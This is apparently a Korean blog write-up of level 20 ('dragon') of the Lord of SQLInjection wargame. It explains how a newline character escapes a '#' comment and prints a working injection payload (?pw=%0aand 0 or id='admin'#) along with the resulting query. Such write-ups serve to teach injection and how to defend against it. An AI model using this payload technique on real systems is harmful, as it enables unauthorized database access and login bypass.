본문 바로가기

#WarGame/Lord of SQLInjection

Lord of SQLInjection 20번 dragon

반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

 

Lord of SQLInjection 20번 dragon

 

 

문제

 

예전에 풀었던 skelton문제와 비슷하다.

하지만 id에 주석처리가 되어있어 guest는 고정되어 있고, pw부터 쿼리는 무시가 된다.

주석처리 방법 중 '#'은 한 줄을 주석처리 한다.

pw 뒤에 한 줄을 띄우고 쓰면 id 주석을 우회할 수 있다.

 

 

 

 

pw값에 개행문자 \n(%0a)를 입력하면 다음줄로 넘어가기 때문에 주석에서 빠져나올 수 있다.

 

 

--->?pw=%0aand%200%20or%20id=%27admin%27%23

query : select id from prob_dragon where id='guest'# and pw=' and 0 or id='admin'#'

 

# and pw=' 이부분 까지 주석처리가 되고 결론적으로 

id='guest' and 0 or id='admin'#' 쿼리문이 실행이 된다.

false and false or true

true

 

 

 

 

 

반응형